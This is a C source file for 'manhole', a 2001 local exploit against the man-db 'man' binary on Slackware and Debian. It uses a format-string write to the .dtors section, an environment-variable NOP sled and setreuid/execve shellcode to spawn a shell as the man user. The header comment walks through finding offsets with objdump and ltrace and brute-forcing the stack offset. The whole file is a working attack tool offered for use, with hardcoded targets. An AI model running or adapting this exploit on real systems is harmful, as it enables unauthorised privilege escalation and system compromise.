/* * manhole.c - fish stiqz 02/26/2001 * updated on 03/12/2001 * * Now gives man's real userid. Thanks to Paul Starzetz for the hint * concerning POSIX saved id's. * * How to get the offsets: * ====================== * * 1) Target address: * $ objdump -s -j .dtors /path/to/man * * /path/to/man: file format elf32-i386 * * Contents of section .dtors: * 805a8dc ffffffff 00000000 ........ * ^^^^^^^ * Add 4 to the head of the .dtors list to get 0x0805a8e0. * * 2) Value to write: * (This needs to be an address to our nops) * $ cp /path/to/man /tmp * $ ltrace ./manhole -p /tmp/man -t 0x0805a8e0 -v 0x52525252 -e 100 -u 5 2>&1 | grep malloc * malloc(1342) = 0x0804a420 * malloc(601) = 0x0804a968 * malloc(161) = 0x0804abc8 * malloc(686) = 0x0804ac70 * malloc(1337) = 0x081611c8 * ^^^^ ^^^^^^^^^^ * malloc(4) = 0x0815f5d8 * malloc(13) = 0x0815f5e8 * malloc(10) = 0x0815f5f8 * malloc(719) = 0x08161708 * * The elite malloc contains our eggshell. * Notice that this eggshell is in the heap, so it will bypass Solar * Designer's non-executable stack patch. * * 3) The stack eats: * (Brute force it. -u specifies man's userid: `id man` to get it) * $ for i in `seq 40 140`; do echo $i; ./manhole -p /path/to/man -t 0x0805a8e0 -v 0x081611c8 -e $i -u 5; done; * .... * 102 * ... * 103 * ... * 104 * ... * sh-2.04$ whoami * man * sh-2.04$ * * * 4) Then email me the these three values including the operating system, * distribution type and version, and man's uid. I'll add them to my * exploit, give you credit, and send you a copy with all the known * offsets. * * l8r, have fun. fish stiqz. */ #include #include #include #include #include extern int errno; extern char *optarg; #define DEFAULT_MAN_BIN "/usr/lib/man-db/man" #define DEFAULT_SHELLCODE scode #define DEFAULT_UID 5 #define ENV_VAR "LANG" #define STACK (0xc0000000-4) /* shellcode, does a setreuid(-1, UID); setreuid(UID, UID); and execve of /bin/sh, uids at scode[10], scode[22] & scode[24] */ #define UID "\x05" char scode[] = /* setreuid(-1, 5); setreuid(5,5); */ "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"UID "\x31\xc0\xb0\x46\xcd\x80\x31\xdb\x31\xc9\xb3"UID "\xb1"UID"\x31\xc0\xb0\x46\xcd\x80" /* anathema */ "\x89\xe6" /* movl %esp, %esi */ "\x83\xc6\x30" /* addl $0x30, %esi */ "\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */ "\x40" /* incl %eax */ "\x89\x06" /* movl %eax, (%esi) */ "\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */ "\x40" /* incl %eax */ "\x89\x46\x04" /* movl %eax, 0x04(%esi) */ "\x29\xc0" /* subl %eax, %eax */ "\x88\x46\x07" /* movb %al, 0x07(%esi) */ "\x89\x76\x08" /* movl %esi, 0x08(%esi) */ "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ "\xb0\x0b" /* movb $0x0b, %al */ "\x87\xf3" /* xchgl %esi, %ebx */ "\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */ "\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */ "\xcd\x80" /* int $0x80 */ ; char nop[] = "\x90"; /* architecture structure */ struct arch { char *description; char *filename; char *code; unsigned long target; unsigned long value; unsigned int eats; unsigned int man_uid; }; struct arch archlist[] = { { "Slackware 7.1 - testing only (NOT DEFAULT)", "./man", scode, 0x0805a8e0, 0x081611c8, 104, 5 }, { "Debian 2.2 (man-db_2.3.16-1.deb)", "/usr/lib/man-db/man", scode, 0x0805c53c, 0x08163128, 128, 6 } }; /* * Error cheq'n wrapper for malloc. */ void *Malloc(size_t n) { void *tmp; if((tmp = malloc(n)) == NULL) { fprintf(stderr, "malloc(%u) failed! exiting...\n", n); exit(EXIT_FAILURE); } return tmp; } /* * Error cheq'n realloc. */ void *Realloc(void *ptr, size_t n) { void *tmp; if((tmp = realloc(ptr, n)) == NULL) { fprintf(stderr, "realloc(%u) failed! exiting...\n", n); exit(EXIT_FAILURE); } return tmp; } /* * returns the proper alignment for the man -l argument on the stack. * - this method courtesy of Michel "MaXX" Kaempf (Thanks dawg ;-) */ char *create_proper_align(char *man_bin, char **execve_envs, char *fmtstr) { unsigned long file_addr; unsigned int x, align; file_addr = STACK - (strlen(man_bin) + 1); for(x = 0; execve_envs[x] != NULL; x++) file_addr -= strlen(execve_envs[x]) + 1; file_addr -= strlen(fmtstr) + 1; for(align = 0; align < (file_addr % 16); align++); printf("caculated alignment: %d\n", align); fmtstr = Realloc(fmtstr, (strlen(fmtstr) + 1 + align) * sizeof(char)); memset(fmtstr + strlen(fmtstr), 'X', align); return fmtstr; } /* * generates a format string that overwrites location with value. * This format string is only appropriate for use with a printf call * that only writes to the screen due to the fact that it uses large * precision values which will most likely cause a segfault if that * many bytes are written to a string via sprintf. * the number of items on the stack before the input buffer is * specified by stackpad (eat up the stack..) */ #define EAT_ME "%.8x " #define EAT_ME_SIZE 9 char *make_printf_fmtstr(unsigned long location, unsigned long value, unsigned int eats, unsigned int addrpad) { char *fmtbuf; char *eatbuf; char *addrbuf, *tmpbuf; unsigned int i, len1 = 0; unsigned int big, small, tmp; unsigned int precision[2]; unsigned long dest_addr[2]; /* set up the padbuf */ eatbuf = Malloc((1 + (eats * sizeof(EAT_ME))) * sizeof(char)); eatbuf[0] = 0x0; for(i = 0; i < (eats * sizeof(EAT_ME)); i += sizeof(EAT_ME)) { strcat(eatbuf, EAT_ME); len1 += EAT_ME_SIZE; } /* split the address into 2 two byte segments */ big = value & 0x0000ffff; small = (value & 0xffff0000) >> 16; if(big < small) { /* swap the values */ tmp = big; big = small; small = tmp; dest_addr[0] = location; dest_addr[1] = location + 2; } else { dest_addr[0] = location + 2; dest_addr[1] = location; } /* write in the destination addresses with the junk values to expand. we want to write in in addrpad times to allow for "misses" */ addrbuf = Malloc((1 + (16 * addrpad)) * sizeof(char)); tmpbuf = addrbuf; for(i = 0; i < addrpad; i++) { memcpy(tmpbuf + 0, "AAAA", 4); /* junk to pad */ memcpy(tmpbuf + 4, (char *)&dest_addr[0], 4); /* 1st addr to overwrite */ memcpy(tmpbuf + 8, "AAAA", 4); /* junk to pad */ memcpy(tmpbuf + 12, (char *)&dest_addr[1], 4);/* 2nd addr to overwrite */ tmpbuf += 16; } len1 += (16 * addrpad); precision[0] = small - len1; precision[1] = big - small; /* 17: address + junk + null */ /* 6: 2 "%hn"'s */ /* 20: length specifiers */ fmtbuf = Malloc(strlen(eatbuf) + strlen(addrbuf) + 6 + 20); sprintf(fmtbuf, "%s" /* the junk & address buffer */ "%s" /* the pad buffer */ "%%.%dx" /* pad out the first junk value */ "%%hn" /* write to first address */ "%%.%dx" /* pad out last junk value */ "%%hn", /* write to last address */ addrbuf, eatbuf, precision[0], precision[1]); free(addrbuf); free(eatbuf); return fmtbuf; } /* * makes the nop + shellcode egg */ char *make_eggshell(char *shellcode, char *nop, int num_nop, char *name, unsigned int man_uid) { char *egg, *tmp; unsigned int size, i, nop_size; /* replace the shellcode uids with what we want in the shellcode */ shellcode[10] = man_uid; shellcode[22] = man_uid; shellcode[24] = man_uid; printf("using uid = %u as man's userid\n", man_uid); size = strlen(shellcode) + (num_nop * strlen(nop)) + strlen(name) + 2; egg = Malloc(size * sizeof(char)); memset(egg, 0x0, size); strcpy(egg, name); strcat(egg, "="); tmp = egg + strlen(name) + 1; nop_size = strlen(nop); for(i = 0; i < num_nop; i++) { memcpy(tmp, nop, nop_size); tmp += nop_size; } strcat(egg, shellcode); return egg; } /* * prints a usage message and then exits. */ void usage(char *p) { int i; fprintf(stderr, "manhole - local man exploit by fish stiqz \n" "usage: %s \n" "Architectures:\n", p); for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) fprintf(stderr, " - %i: %s\n", i, archlist[i].description); fprintf(stderr, "usage: %s \n" "Manual Exploitation:\n" "\t-p\t path to man binary.\n" "\t-t\t address to overwrite.\n" "\t-v\t value to overwrite with.\n" "\t-e\t number of stack eats\n" "\t-u\t uid to regain (uid of man)\n", p); exit(EXIT_FAILURE); } int main(int argc, char **argv) { char *fmt_str, *eggy, *shellcode, *man_bin = NULL, c; char *execve_args[] = { NULL, "-l", NULL, NULL }; char *execve_envs[] = { NULL, NULL }; unsigned int eats = 0; unsigned int man_uid = DEFAULT_UID; unsigned long target = 0; unsigned long value = 0; int i; struct arch *arch; if(argc != 11 && argc != 2) usage(argv[0]); if(argc != 2) { shellcode = DEFAULT_SHELLCODE; while((c = getopt(argc, argv, "t:v:e:p:u:h")) != EOF) { switch(c) { case 'p': man_bin = strdup(optarg); break; case 't': target = strtoul(optarg, NULL, 0); break; case 'v': value = strtoul(optarg, NULL, 0); break; case 'e': eats = strtoul(optarg, NULL, 0); break; case 'u': man_uid = strtoul(optarg, NULL, 0); break; default: usage(argv[0]); break; } } } /* one argument - get it from the arch structure */ else { i = strtoul(argv[1], NULL, 0); if(i < 0 || i >= sizeof(archlist) / sizeof(struct arch)) usage(argv[0]); arch = &(archlist[i]); man_bin = arch->filename; shellcode = arch->code; target = arch->target; value = arch->value; eats = arch->eats; man_uid = arch->man_uid; } printf("attempting to overwrite %#lx with %#lx\n", target, value); fflush(stdout); if(strlen(shellcode) > 1337 - 1) { fprintf(stderr, "uh, shellcode is > 1336?? Go optimize it...\n"); exit(EXIT_FAILURE); } /* make the nop + shellcode egg */ eggy = make_eggshell(shellcode, nop, 1337 - strlen(shellcode) - 1, ENV_VAR, man_uid); execve_envs[0] = eggy; /* generate the format string */ fmt_str = make_printf_fmtstr(target, value, eats, 10); fmt_str = create_proper_align(man_bin, execve_envs, fmt_str); execve_args[0] = man_bin; execve_args[2] = fmt_str; execve(execve_args[0], execve_args, execve_envs); fprintf(stderr, "execve(%s): %s\n", execve_args[0], strerror(errno)); return EXIT_FAILURE; } /* www.hack.co.za [22 march 2001]*/